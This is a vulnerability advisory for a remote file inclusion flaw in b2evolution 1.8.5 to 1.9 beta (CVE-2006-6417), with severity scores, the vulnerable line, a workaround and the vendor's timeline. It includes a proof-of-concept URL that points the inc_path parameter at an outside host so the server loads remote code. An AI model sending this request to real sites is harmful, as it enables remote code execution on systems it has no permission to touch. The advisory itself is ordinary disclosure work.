b2evolution Remote File inclusion Vulnerability

2006.12.11

Credit: tarkus

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-6417

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

_________________________________________
_________________________________________

Severity: High
  Title: b2evolution Remote File inclusion Vulnerability
  Date: 28.11.06
  Author: tarkus (tarkus (at) tiifp (dot) org)
  Web: https://tiifp.org/tarkus
  Vendor: b2evolution (http://b2evolution.net/)
  Affected Product(s): b2evolution 1.8.5 - 1.9 beta
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Description:
------------

Line 67 of import-mt.php (blogs/inc/CONTROL/imports):

>
>require_once $inc_path.'MODEL/files/_file.funcs.php';
>

PoC:
----

http://<victim>/<b2epath>/inc/CONTROL/import/import-mt.php?basepath= foo&inc_path=https://tiifp.org/tarkus/PoC/

register_globals and allow_url_fopen have to be On

Workaround:
-----------

Put the following line at the beginning of the file.

if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page directly.' );

Vendor Response:
----------------

Reported to Vendor:     10.11.06
Vendor response:        10.11.06
Patch in CVS:           10.11.06

See this note in RAW Version

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b2evolution Remote File inclusion Vulnerability

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